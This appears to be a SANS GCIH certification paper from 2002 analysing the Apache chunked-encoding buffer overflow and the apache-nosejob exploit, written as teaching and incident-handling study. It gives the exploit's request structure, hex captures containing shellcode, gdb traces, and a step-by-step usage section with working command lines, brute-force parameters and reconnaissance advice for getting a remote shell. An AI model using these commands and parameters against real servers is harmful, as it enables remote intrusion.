Use offense to inform defense.
Find flaws before the bad guys do.

GCIH Practical Assignment - Version 2.1
Option 2 - Support for the Cyber Defense Initiative

Port 80 (HTTP) - Apache Web Server Chunk Handling Vulnerability

Scott Oksanen

Part 1 - Targeted Port

Targeted Service

Port 80 is used by the HyperText Transport Protocol (HTTP). HTTP is the protocol websites and web browsers use to communicate with each other.

Port 80 is a frequent target for attacks. The Internet Storm Center (ISC) at www.incidents.org collects information from sites around the Internet that send in firewall and intrusion detection logs. The ISC uses this information to produce a list of the top 10 targeted ports.

The table below shows the Top 10 Ports for August 25, 2002.

Source: www.incidents.org

Description

HTTP is used on the Internet by HTTP clients and HTTP servers. HTTP clients request information from HTTP servers. When an HTTP server receives a request it sends a reply back to the client. The client displays the result to the user.

Services provided by HTTP:

- HTML document retrieval – The most common service provided by HTTP is viewing HTML documents through a web browser.
- Email – Clients can use an HTTP browser to send and receive email. Some examples of HTTP email service are www.hotmail.com and mail.yahoo.com.
- File Transfer – Binary or text file transfers can use HTTP. The Debian Linux distribution provides FTP and HTTP file transfer services to download their software: www.debian.org/CD/http-ftp.
- Remote Procedure Calls – HTTP is the transport for the XML-RPC and SOAP protocols, which encapsulate remote procedure calls in HTTP.

There is also a secure version of HTTP referred to as HTTPS. HTTP runs over TCP. HTTPS is HTTP running over Secure Socket Layer (SSL)/TCP. An HTTPS server typically runs on port 443.

Protocol

The latest version of HTTP is documented in RFC 2616: Hypertext Transfer Protocol – HTTP/1.1, which can be found here: http://www.w3.org/Protocols/rfc2616/rfc2616.txt.

An HTTP server listens on TCP port 80 for client requests. An HTTP client establishes a TCP connection with the server. Typically the client will issue an HTTP GET requests

Vulnerabilities
A search of the CVE database at http://cve.mitre.org/cve/ for 'HTTP' gives 342 CVE entries and candidates.

Many of the attacks are buffer overflows. Of the 342 CVE entries for HTTP, there were 81 entries mentioning buffer overflows.

A buffer overflow vulnerability can create a denial of service at the server by forcing it to crash or may be able to execute code on the remote system.

Some HTTP security concerns are listed in Internet RFC 2616:
- Privacy issues
  - Personal information about clients can be revealed in HTTP server logs.
  - Servers that reveal their software and version information allow attackers to target specific servers with known vulnerabilities.
  - Private data submitted by clients in an HTTP GET method will be exposed in client browser history logs, proxy logs, and server logs. The HTTP POST method is preferred over HTTP GET.
- Attacks on the server filesystem
  - Attackers have modified HTTP requests for files by using “..” in paths. On Windows and Unix machines “..” refers to the parent directory. Attackers would create requests like www.victim.com/../../../etc/shadow/ to trick the server into revealing a security relevant file. Current servers protect against this by filtering out “..” from requests and by running the server as a process without permissions to read most system files.
  - Another attack is to send a request to the browser for one of its configuration files. This gives an attacker more information about the server to conduct an attack against it.

The SANS GCIH course mentions these vulnerabilities:
-
- SQL Piggybacking
  - An attacker embeds SQL commands in input fields requested by a server. The server uses the input fields to build database queries. If the server does not validate the attacker's input, the attacker's SQL commands will be embedded in the queries the server builds to send to the database. This may cause the database to reveal information unintentionally or to perform some action.
- Attacking state maintenance
  - In many cases clients are responsible for maintaining state information of an HTTP session. This is done through cookies, URL fields, or hidden form elements that are exchanged between client and server during an HTTP session.
  - The client is able to manipulate these states and possibly cause the server to operate incorrectly.
  - Example: If a server supports multiple clients and tracks their sessions

using a userid stored in a cookie. The client may be able to change the userid to that of another user and get information for the other user's session.
- Example: A hypothetical online merchant lets clients select items in an electronic shopping cart. The merchant's web application tracks what is already in the shopping cart by storing the items and their prices in a cookie that is exchanged between the client and the server. A client that manipulates an item's price in the cookie could trick the server into giving the client a discount.

Part 2 - Specific Exploit

Exploit Details
Name:
- CERT® Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability
- CVE CAN-2002-0392

Variants:
- apache_scalp.c
- apache_nosejob.c

Affects:
- Web servers based on Apache code versions 1.3 through 1.3.24
- Web servers based on Apache code versions 2.0 through 2.0.36

Operating Systems:
- FreeBSD 4.3-4.5 (x86)
- NetBSD 1.5.2 (x86)
- OpenBSD 2.6-3.1 (x86)
- Linux (GNU) 2.4 (x86)
- Sun Solaris 6-8 (sparc/x86)

Protocols/Services:
- HTTP/1.1 with Chunked Encoding

Description: The exploit sends a crafted HTTP GET request using chunked encoding with an invalid chunk-size field.

Description of Variants
- apache-scalp.c -- exploit produced by Gobbles Security to demonstrate vulnerability in OpenBSD.
  - Spawns a shell on the remote machine.
  - Available from: http://www.immunitysec.com/GOBBLES/exploits/apache-scalp.c

or http://online.securityfocus.com/data/vulnerabilities/exploits/apache-scalp.c

- apache-nosejob.c
  - Enhanced version of apache-scalp.c
  - Demonstrates vulnerability in OpenBSD, FreeBSD, and NetBSD
  - More powerful brute force mode than apache-scalp.c.
  - Spawns a shell on the remote machine.
  - This is the exploit we look at in detail below.
  - Available from: http://www.immunitysec.com/GOBBLES/exploits/apache-nosejob.c or http://online.securityfocus.com/data/vulnerabilities/exploits/apache-nosejob.c
- apache-worm.c
  - Discovered and announced by http://dammit.it. The exploit was found on a honeypot system.
  - Based on apache-scalp.c.
  - Available from: http://dammit.lt/apache-worm/apache-worm.c
- apache-smash.sh
  - Denial of service script.
  - Causes Apache threads to die with segmentation violations.
  - Available from: http://packetstormsecurity.nl/0206-exploits/apache-smash.sh.gz

Protocol Description

HTTP servers listen on TCP port 80 for requests from HTTP clients. There are two types of messages exchanged between HTTP clients and servers: requests and responses. RFC 2616 defines the format and content of the messages.

This example illustrates a typical HTTP session:

1)An HTTP Client connects to an HTTP server using the standard TCP 3-way handshake.

2)The client sends an HTTP GET request containing a Uniform Resource Indicator (URI) to the server. The URI identifies what the client is requesting. A request for the root document ("/") on a server would look like this:

```
GET / HTTP/1.1
```

`GET` specifies the request type, "`/`" is the URI, and `HTTP/1.1` is the version of HTTP supported by the client.

3)The server would reply with an HTTP response. The response contains a status code and any data the server can provide for the requested URI. The response would look like this:

```
HTTP/1.1 200 OK
Content-Type: text/html

<HTML>
 <BODY>
  <P>
  Test Page for Apache Installation on Web Site
```

```
  <P>
 <BODY>
</HTML>
```

`HTTP/1.1` is the version number, `200` is the status code for the request, `OK` is the reason phrase associated with the 200 status code, and `Content-Type` is an entity header describing the data to follow. `Content-Type: text/html` lets the client program know how to parse the response data and how to present it to the user. The rest of the response is HTML data for the requested URI.

4)The server closes the connection.

Real clients generate more complicated requests than the example above. The exploit adds message-header fields to the request. A message-header describes the request message in general (a general-header), the request and/or the client (a request-header), or the entity-body or requested resource (an entity-header). An entity-body is a block of data sent with a request. It is also referred to as a message-body.

Here is an example of a request with a request-header:

```
GET / HTTP/1.1
Accept: text/html, */*
```

This tells the server that the client prefers the returned data in text/html format (text/html), but will accept any format (*/*).

As we'll see below, the exploit request contains entity-headers. The entity-header fields in the exploit are undefined in RFC 2616. RFC 2616 states that “Unrecognized header fields SHOULD be ignored by the recipient...”. This is an examples of an entity-header field similar to what is in the exploit:

```
X-CCCCCCC: AAAAAAAAAAAAAAAAAAAAAAA...
```

X-CCCCCCC is the entity-header and the A's are the entity-body. X-CCCCCCC is an undefined entity-header.

The exploit will also use the general-header field to set the Transfer-Encoding to Chunked. HTTP version 1.1 adds the chunked encoding feature. Chunked encoding allows the server to break the response into smaller pieces called chunks. Chunking allows the server to start sending content before it has been completely generated. To end the transfer the server sends a chunk size field with 0 as the length. This is an example of chunked transfer encoding from the exploit:

```
Transfer-Encoding: chunked

5
BBBBB
ffffff6a
```

The first line specifies that the data (entity-body) will be sent using chunked transfer encoding. The entity-body starts with 5, which is the length of the first

chunk. BBBBB is the first chunk of data and its length is 5, so the entire chunk is sent. The next line is the length of the second chunk, `ffffff6a`. The exploit does not actually write a second chunk, as none is needed.

How the exploit works

The apache-nosejob.c exploit sends a GET request to a vulnerable Apache server. The GET request contains blocks of NOP sled/shell code, followed by blocks of data to place on the stack, followed by an entity-body transfer-coded to use chunk encoding. One of the chunk-size fields is `ffffff6e`. RFC 2616 does not allow message bodies in GET requests. HTTP servers are required to ignore any message body in a GET request.

As Apache processes the request, it stores the request in memory buffers. This places the NOP sled and shell code into memory. Unlike some stack attacks, the shellcode does not reside on the stack. The return address on the stack will point to the shellcode much lower in memory.

The request sent by the exploit is very large, around 32K. This pseudo code shows what a request looks like:

```
print ('GET / HTTP/1.1\r\n');
print ('Host: apache-nosejob.c\r\n');
loop 24 times
   print ('X-CCCCCCC: ');   ### An entity-header field
   loop 1024 times
      print ('A');          ### The NOP command for the NOP sled
      print (SHELLCODE);
      print ('\r\n');
   end
end
loop 24 times
   print ('X-AAAA: ');
   loop 6 times             ### This number varies.
      print (RETURN_ADDR)   ### Return address to put on the stack
   end loop
   loop 36 times            ### This number varies.
      print ('0');          ### Overwrites the length value in memcpy
()
   end loop
   print ('\r\n');
end loop
print ('Transfer-Encoding: chunked\r\n');
print ('\r\n5\r\n);
print ('BBBBB\r\n');
print ('ffffff6e');         ### This number varies
```

The final message header in the request has a message body chunk with a length of `ffffff6e`. When Apache reads the chunk-size field, the Apache get_chunk_size() function converts the ASCII chunk-size value to an internal

number. The internal number is is a signed long value. Signed numbers on x86 platforms are negative if the most significant bit is set. In this case the most significant bit is set and the number is treated as a negative number within the Apache code.

Since the final message header is not recognized, the default handler is invoked again. The default handler calls a function to read and discard the rest of the message body. This function uses the `ffffff6e` value as the length of the message to be read and discarded. It checks to see if the length of the chunk is less than the length of the target buffer. The negative length passes this test. The function uses the FreeBSD memcpy() function to read from the internal buffer containing the message body and write it to the target buffer. The target buffer is an array of characters local to another function on the stack. The address of this buffer is passed to memcpy().

The BSD memcpy() function copies upward or downward in memory depending on whether the destination address is less then the source address or vice versa. This allows it to copy overlapping source and destination buffers without overwriting the source buffer. The memcpy() function does not validate the length of data to copy. As memcpy() moves data from the source to destination buffer, it decrements an internal length field. When this field reaches 0, all the data has been copied. The exploit code has to stop memcpy() or it will copy too much data and eventually cause a Segmentation Violation or a Bus Error. The exploit stops memcpy() by overwriting the portion of the stack where memcpy() stores the interal length variable indicating how many bytes are left to copy. The exploit code also overwrites the return address from memcpy() to try to get it to return control to the shellcode.

When memcpy() finishes, the new return value should point to either NOP sled or the start of the shellcode. The shellcode will execute and give the attacker a remote shell to the victim machine.

This is what the stack looks like right before memcpy() starts to overflow the buffer:

```
Breakpoint 2, 0x28165c2c in memcpy () from /usr/lib/libc.so.4
(gdb) backtrace
#0  0x28165c2c in memcpy () from /usr/lib/libc.so.4
#1  0x8064940 in ap_bread (fb=0x80d9044, buf=0xbfbfd7ca, nbyte=-146)
    at buff.c:815
#2  0x807785f in ap_get_client_block (r=0x81098cc, buffer=0xbfbfd7ca
"",
    bufsiz=8180) at http_protocol.c:2176
#3  0x8077a38 in ap_discard_request_body (r=0x81098cc) at
http_protocol.c:2246
#4  0x806dd4d in default_handler (r=0x81098cc) at http_core.c:3808
#5  0x806687c in ap_invoke_handler (r=0x81098cc) at http_config.c:529
#6  0x807b800 in process_request_internal (r=0x81098cc) at
http_request.c:1308
#7  0x807bc5a in ap_internal_redirect (new_uri=0x81098a4
"/index.html",
    r=0x80f3034) at http_request.c:1436
```

```
#8  0x805b2a6 in handle_dir (r=0x80f3034) at mod_dir.c:174
#9  0x8066809 in ap_invoke_handler (r=0x80f3034) at http_config.c:517
#10 0x807b800 in process_request_internal (r=0x80f3034) at
http_request.c:1308
#11 0x807b86a in ap_process_request (r=0x80f3034) at
http_request.c:1324
#12 0x80725a7 in child_main (child_num_arg=4) at http_main.c:4570
#13 0x8072830 in make_child (s=0x80c4034, slot=4, now=1031725355)
    at http_main.c:4740
#14 0x8072bb0 in perform_idle_server_maintenance () at
http_main.c:4919
#15 0x807312d in standalone_main (argc=1, argv=0xbfbffc38) at
http_main.c:5156
#16 0x8073760 in main (argc=1, argv=0xbfbffc38) at http_main.c:5417
```

We can also look at the memory address we will be returning control to:

```
(gdb) x/100x 0x80f3a00
0x80f3a00:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a10:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a20:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a30:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a40:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a50:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a60:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a70:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a80:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3a90:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3aa0:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3ab0:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3ac0:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3ad0:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3ae0:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3af0:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b00:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b10:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b20:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b30:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b40:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b50:  0x41414141  0x41414141  0x41414141  0x41414141
0x80f3b60:  0x41414141  0x41414141  0x41414141  0x41414141
```

So the return address will hit one of the NOP sleds.

Function ap_discard_request_body() was called by default_handler() because Apache received an invalid request from the exploit -- an HTTP GET request should not have a message body. Apache has to read and discard the message body it is not interpreted as the next request for the same connection. This function also contains the destination buffer that will be overflowed:

```
        char dumpbuf[HUGE_STRING_LEN];
```

`HUGE_STRING_LEN` is 8192. A pointer to this buffer is passed all the way down to memcpy().

This is a more detailed view of how the stack looks when we get to memcpy():

`ap_discard_request_body:`

```
   parameters
   RET addr to default_handler()
   SFP
   local integer (4 bytes)
   local dumpbuf (8192 bytes)
ap_get_client_block:
   parameters
   RET addr to ap_discard_request_body()
   SFP
   local variables
.
.
.
memcpy:
   len parameter = -146
   src parameter = address of input buffer
   dst parameter = stack address of dumpbuf from
                   ap_discard_request_body()
   RET addr to ap_bread()
   SFP
   dst local variable
   src local variable
   t   local variable. Used to indicate how much is left to copy.
```

The len value (or nbytes in the gdb stacktrace) passed from ap_bread to memcpy() was originally the `fffffff6` value from the transfer length field. The `fffffff6` field translates into -146 when it is treated as a signed number. The dst variable that memcpy() is copying data to is the dumpbuf local variable in ap_discard_request_body higher up on the stack. Memcpy() will set its t value to -146. Memcpy() will copy from src+len to dst+len. Normally adding the amount to copy to the start address of each buffer would put us at the end of the buffers, so memcpy() could copy the data backwards. In this case, since len=-146 the src and len values will be 146 bytes below the start each buffer, instead of above. This allows memcpy to overflow the buffer.

Diagram

This is the screen output from the exploit:

```
[attacker@client apache]$ ./nosejob -b 0x80f3a00 -d -146 -z 36 -r 6 -
h 192.168.100.20
Using 0x80f3a00 as the baseadress while bruteforcing..
Using -146 as delta
Number of zeroes will be 36
Repeating the return address 6 times
[*] Resolving target host.. 192.168.100.20
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80f3a00
; it's a TURKEY: type=Custom target, delta=-146, retaddr=0x80f3a00,
repretaddr=6, repzero=36
Experts say this isn't exploitable, so nothing will happen now:
*GOBBLE*
FreeBSD  4.6-RELEASE FreeBSD 4.6-RELEASE #0: Tue Jun 11 06:14:12 GMT
2002     murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC
```

```
i386
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant
r00t
who am i
nobody           tty??   Sep 10 02:30
id
```
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

Network traffic between the client and server can be captured using this command:

```
tcpdump -s 1500 -X > outfile
```

The -s option is for snaplength. This tells tcpdump to take 1500 byte snapshots of each packet. The test network is an ethernet and 1500 matches the MTU size.
The -X option tells tcpdump to give output in hex and ASCII.
We redirect output to a file to view later.

This is a summary of the network traffic with excerpts from tcpdump packet captures:

```
The client connects to the server with a 3-way TCP handshake.
The client sends this get request:
0x0000   4500 05dc 674a 4000 4006 8462 c0a8 640a        E...gJ@.
@..b..d.
0x0010  c0a8 6414 8036 0050 b72b be9a c604 87f2        ..d..6.P.
+......
0x0020  8010 16d0 ea3c 0000 0101 080a 0008 d9d1        .....
<.........
0x0030  0008 4808 4745 5420 2f20 4854 5450 2f31
..H.GET./.HTTP/1
0x0040  2e31 0d0a 486f 7374 3a20 6170 6163 6865
.1..Host:.apache
0x0050  2d6e 6f73 656a 6f62 2e63 0d0a 582d 4343        -nosejob.c..X-
CC
0x0060  4343 4343 433a 2041 4141 4141 4141 4141
CCCCC:.AAAAAAAAA
0x0070  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x0080  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x0090  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x00a0  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x00b0  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x00c0  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
0x00d0  4141 4141 4141 4141 4141 4141 4141 4141
AAAAAAAAAAAAAAAA
.....
0x0460  4141 4141 4141 4168 4747 4747 89e3 31c0
AAAAAAAhGGGG..1.
0x0470  5050 5050 c604 2404 5350 5031 d231 c9b1        PPPP..
$.SPP1.1..
```

```
0x0480  80c1 e118 d1ea 31c0 b085 cd80 7202 09ca
......1.....r...
0x0490  ff44 2404 807c 2404 2075 e931 c089 4424        .D$..|
$..u.1..D$
0x04a0  04c6 4424 0420 8964 2408 8944 240c 8944        ..D$...d$..D
$..D
0x04b0  2410 8944 2414 8954 2418 8b54 2418 8914        $..D$..T$..T
$...
0x04c0  2431 c0b0 5dcd 8031 c9d1 2c24 7327 31c0        $1..]..1..,
$s'1.
0x04d0  5050 5050 ff04 2454 ff04 24ff 0424 ff04        PPPP..$T..$..
$..
0x04e0  24ff 0424 5150 b01d cd80 5858 5858 583c        $..
$QP....XXXXX<
0x04f0  4f74 0b58 5841 80f9 2075 ceeb bd90 31c0
Ot.XXA...u....1.
0x0500  5051 5031 c0b0 5acd 80ff 4424 0880 7c24        PQP1..Z...D$..
|$
0x0510  0803 75ef 31c0 50c6 0424 0b80 3424 0168        ..u.1.P..$..4
$.h
0x0520  424c 452a 682a 474f 4289 e3b0 0950 53b0
BLE*h*GOB....PS.
0x0530  0150 50b0 04cd 8031 c050 686e 2f73 6868
.PP....1.Phn/shh
0x0540  2f2f 6269 89e3 5053 89e1 5051 5350 b03b
//bi..PS..PQSP.;
0x0550  cd80 cc0d 0a58 2d43 4343 4343 4343 3a20        .....X-
CCCCCCC:.
```

This is the NOP sled and shellcode. It is repeated over several more packets.

Later we reach the return addresses and the zeros that modify the memcpy() variable:

```
0x00e0  e150 5153 50b0 3bcd 80cc 0d0a 582d 4141        .PQSP.;.....X-
AA
0x00f0  4141 3a20 003a 0f08 003a 0f08 003a 0f08
AA:..:...:...:..
0x0100  003a 0f08 003a 0f08 003a 0f08 0000 0000
.:...:...:......
0x0110  0000 0000 0000 0000 0000 0000 0000 0000
................
0x0120  0000 0000 0000 0000 0000 0000 0000 0000
................
0x0130  0d0a 582d 4141 4141 3a20 003a 0f08 003a        ..X-
AAAA:..:...:
0x0140  0f08 003a 0f08 003a 0f08 003a 0f08 003a
...:...:...:...:
0x0150  0f08 0000 0000 0000 0000 0000 0000 0000
................
0x0160  0000 0000 0000 0000 0000 0000 0000 0000
................
0x0170  0000 0000 0000 0d0a 582d 4141 4141 3a20        ........X-
AAAA:.
```

This is repeated for many packets.

Then we see the Transfer-Encoding portion that causes the buffer overflow:

```
0x01c0  0000 0000 0000 0000 0000 0000 0000 0000
```

```
................
0x01d0  0000 0d0a 5472 616e 7366 6572 2d45 6e63        ....Transfer-
Enc
0x01e0  6f64 696e 673a 2063 6875 6e6b 6564 0d0a
oding:.chunked..
0x01f0  0d0a 350d 0a42 4242 4242 0d0a 6666 6666
..5..BBBBB..ffff
0x0200  6666 3665 0d0a                                ff6e..

The shellcode sends this packet with "GGGG" that the exploit is
looking for:
0x0020  8018 e240 d7f9 0000 0101 080a 0008 480d        ...
@..........H.
0x0030  0008 d9d4 4747 4747                            ....GGGG

The exploit responds with "O":
0x0000  4500 0035 4ae9 4000 4006 a66a c0a8 640a        E..5J.@.
@..j..d.
0x0010  c0a8 6414 803e 0050 00a2 6972 e451 bc7b
..d..>.P..ir.Q.{
0x0020  8018 16d0 8794 0000 0101 080a 000a a311
................
0x0030  000a 114a 4f                                   ...JO

The shellcode responds with "*GOBBLE*":
0x0000  4500 003d 08cf 4000 4006 e87c c0a8 6414        E..=..@.@..
|..d.
0x0010  c0a8 640a 0050 803e e451 bc7b 00a2 6973        ..d..P.>.Q.
{..is
0x0020  8018 e240 ffb6 0000 0101 080a 000a 11ae        ...
@............
0x0030  000a a311 2a47 4f42 424c 452a 0a                ....*GOBBLE*.

The exploit sends shell commands:
0x0000  4500 0093 4aea 4000 4006 a60b c0a8 640a        E...J.@.
@.....d.
0x0010  c0a8 6414 803e 0050 00a2 6973 e451 bc84
..d..>.P..is.Q..
0x0020  8018 16d0 02be 0000 0101 080a 000a a374
...............t
0x0030  000a 11ae 756e 616d 6520 2d61 3b69 643b        ....uname.-
a;id;
0x0040  6563 686f 2027 6865 6865 2c20 6e6f 7720
echo.'hehe,.now.
0x0050  7573 6520 616e 6f74 6865 7220 6275 672f
use.another.bug/
0x0060  6261 636b 646f 6f72 2f66 6561 7475 7265
backdoor/feature
0x0070  2028 6869 2054 6865 6f21 2920 746f 2067        .
(hi.Theo!).to.g
0x0080  6169 6e20 696e 7374 616e 7420 7230 3074
ain.instant.r00t
0x0090  273b 0a                                        ';.

The remote shell responds:
0x0000  4500 00c4 08d0 4000 4006 e7f4 c0a8 6414        E.....@.
@.....d.
0x0010  c0a8 640a 0050 803e e451 bc84 00a2 69d2
```

```
..d..P.>.Q....i.
0x0020  8018 e240 1e09 0000 0101 080a 000a 11ae        ...
@...........
0x0030  000a a374 4672 6565 4253 4420 2034 2e36
...tFreeBSD..4.6
0x0040  2d52 454c 4541 5345 2046 7265 6542 5344        -
RELEASE.FreeBSD
0x0050  2034 2e36 2d52 454c 4541 5345 2023 303a        .4.6-RELEASE.#
0:
0x0060  2054 7565 204a 756e 2031 3120 3036 3a31
.Tue.Jun.11.06:1
0x0070  343a 3132 2047 4d54 2032 3030 3220 2020
4:12.GMT.2002...
0x0080  2020 6d75 7272 6179 4062 7569 6c64 6572
..murray@builder
0x0090  2e66 7265 6562 7364 6d61 6c6c 2e63 6f6d
.freebsdmall.com
0x00a0  3a2f 7573 722f 7372 632f 7379 732f 636f
:/usr/src/sys/co
0x00b0  6d70 696c 652f 4745 4e45 5249 4320 2069
mpile/GENERIC..i
0x00c0  3338 360a                                      386.

0x0000  4500 006d 08d1 4000 4006 e84a c0a8 6414        E..m..@.
@..J..d.
0x0010  c0a8 640a 0050 803e e451 bd14 00a2 69d2
..d..P.>.Q....i.
0x0020  8018 e240 f071 0000 0101 080a 000a 11af        ...
@.q.........
0x0030  000a a374 7569 643d 3635 3533 3428 6e6f        ...tuid=65534
(no
0x0040  626f 6479 2920 6769 643d 3635 3533 3428        body).gid=
65534(
0x0050  6e6f 626f 6479 2920 6772 6f75 7073 3d36
nobody).groups=6
0x0060  3535 3334 286e 6f62 6f64 7929 0a               5534(nobody).

0x0000  4500 007f 08d2 4000 4006 e837 c0a8 6414        E.....@.
@..7..d.
0x0010  c0a8 640a 0050 803e e451 bd4d 00a2 69d2
..d..P.>.Q.M..i.
0x0020  8018 e240 546f 0000 0101 080a 000a 11af        ...
@To.........
0x0030  000a a374 6865 6865 2c20 6e6f 7720 7573
...thehe,.now.us
0x0040  6520 616e 6f74 6865 7220 6275 672f 6261
e.another.bug/ba
0x0050  636b 646f 6f72 2f66 6561 7475 7265 2028
ckdoor/feature.(
0x0060  6869 2054 6865 6f21 2920 746f 2067 6169
hi.Theo!).to.gai
0x0070  6e20 696e 7374 616e 7420 7230 3074 0a
n.instant.r00t.
```

How to use the exploit

On the test network the client machine (attacker) was running Mandrake 8.2.

The server (target) was running x86 FreeBSD version 4.6 and Apache version 1.3.24. The two machines each had a 10/100 Mb Ethernet card and were connected through a hub.

I compiled and installed Apache 1.3.24 on the attack machine. Apache 1.3.24 source can be downloaded here:
http://www.apache.org/dist/httpd/old/apache_1.3.24.tar.gz

The apache_1.3.24.tar.gz file needs to be unzipped and untarred:

```
# gunzip apache_1.3.24.tar.gz
# tar xvf apache_1.3.24.tar
```

With a buffer overflow vulnerabilities we will probably need to use the debugger, so we will build the code with the debug options.

```
# setenv CFLAGS "-g2"
# ./configure --prefix=/home/user1/webserver --without-execstrip
```

The setenv command will work if your shell is /bin/csh. Setting CFLAGS to -g2 will tell gcc to produce debugging information in the output. The --prefix argument sets the root directory for the Apache install and --without-execstrip tells gcc to leave debugging information in the binaries it produces.

Now we need to run 'make' and install Apache.

```
# make
# make install
```

Now Apache is built, installed, and ready to run.

The apache-nosejob.c exploit also needs to be compiled. This command tells the gcc compiler to compile apache-nosejob.c and produce a binary called nosejob:

[attacker@client apache]$ `gcc apache-nosejob.c -o nosejob`

Run the exploit without options to get a help screen:

```
[attacker@client apache]$ ./nosejob
GOBBLES Security Labs                          - apache-nosejob.c

Usage: ./apache-nosejob <-switches> -h host[:80]
  -h host[:port]  Host to penetrate
  -t #                  Target id.
  Bruteforcing options (all required, unless -o is used!):
  -o char         Default values for the following OSes
                  (f)reebsd, (o)penbsd, (n)etbsd
  -b 0x12345678   Base address used for bruteforce
                  Try 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.
  -d -nnn         memcpy() delta between s1 and addr to overwrite
                  Try -146/obsd, -150/fbsd, -90/nbsd.
  -z #            Numbers of time to repeat \0 in the buffer
                  Try 36 for openbsd/freebsd and 42 for netbsd
```

```
  -r #           Number of times to repeat retadd in the buffer
                 Try 6 for openbsd/freebsd and 5 for netbsd
  Optional stuff:
  -w #           Maximum number of seconds to wait for shellcode
reply
  -c cmdz        Commands to execute when our shellcode replies
                 aka auto0wncmdz

Examples will be published in upcoming apache-scalp-HOWTO.pdf

--- --- - Potential targets list - --- ---- ------- ------------
 ID / Return addr / Target specification
  0 /  0x080f3a00 / FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)
  1 /  0x080a7975 / FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)
  2 /  0x000cfa00 / OpenBSD 3.0 x86 / Apache 1.3.20
  3 /  0x0008f0aa / OpenBSD 3.0 x86 / Apache 1.3.22
  4 /  0x00090600 / OpenBSD 3.0 x86 / Apache 1.3.24
  5 /  0x00098a00 / OpenBSD 3.0 x86 / Apache 1.3.24 #2
  6 /  0x0008f2a6 / OpenBSD 3.1 x86 / Apache 1.3.20
  7 /  0x00090600 / OpenBSD 3.1 x86 / Apache 1.3.23
  8 /  0x0009011a / OpenBSD 3.1 x86 / Apache 1.3.24
  9 /  0x000932ae / OpenBSD 3.1 x86 / Apache 1.3.24 #2
 10 /  0x001d7a00 / OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1
 11 /  0x080eda00 / NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)
 12 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)
 13 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)
 14 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)
 15 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)
```

The nosejob exploit has some predefined attacks for specific OS and Apache versions. We want to attack a FreeBSD 4.6 server running Apache 1.3.24 server at IP address 192.168.10.20. The exploit doesn't provide predefined targets for our server so we'll try the ones that are the best match for our server:

```
[attacker@client apache]$ ./nosejob -h 192.168.10.20 -t 0
[*] Resolving target host.. 192.168.100.20
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80f3a00
Ooops.. hehehe!
[attacker@client apache]$ ./nosejob -h 192.168.10.20 -t 1
[*] Resolving target host.. 192.168.100.20
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80a7975
Ooops.. hehehe!
```

Neither of the provided targets worked for the FreeBSD 4.6 Apache 1.3.24 server in the test environment so we'll have to use the bruteforce mode.

The default values for the hosts in the target list are available in the source code. Using the default values for target 0 and changing the offset of the address that the exploit overwrites is enough to get the exploit to work.

This was the successful command:

```
[attacker@client apache]$ ./nosejob -b 0x80f3a00 -d -146 -z 36 -r 6 -
h 192.168.100.20
```

The Diagram section above shows the screen output from a successful attack.

After getting the shell command the attacker has another issue. Web servers are configured to run as non-privileged users, so if the server is exploited, the attacker is limited in what he or she can do. On a Unix system the attacker will most likely want to gain root access. One way to do this is by running a local root exploit against another vulnerability on the target machine.

An attacker might not want to experiment with the bruteforce mode online against a real target. The bruteforce mode leaves more evidence of an attack than a successful attack. The section below describing the signature of the attack shows the errors logged by unsuccessful attacks.

To increase the chance of success an attacker would do a reconnaissance of potential targets. Reconnaissance allows the attacker to tailor the attack to a specific operating system and Apache server version.

Reconnaissance would be done by scanning for servers on port 80 and possibly 8000 and 8080, which are alternate ports where people sometimes run HTTP servers. The reconnaissance could be as simple as connecting to the port, to see if anything is listening on it, and then sending an HTTP GET request. Most HTTP servers will respond with the server version in their response. An attacker would also want to know the operating system and version. This can be done using the nmap utility, which is available from http://www.insecure.org/nmap. Nmap has an operating system identification feature which can help narrow down which OS the server is running.

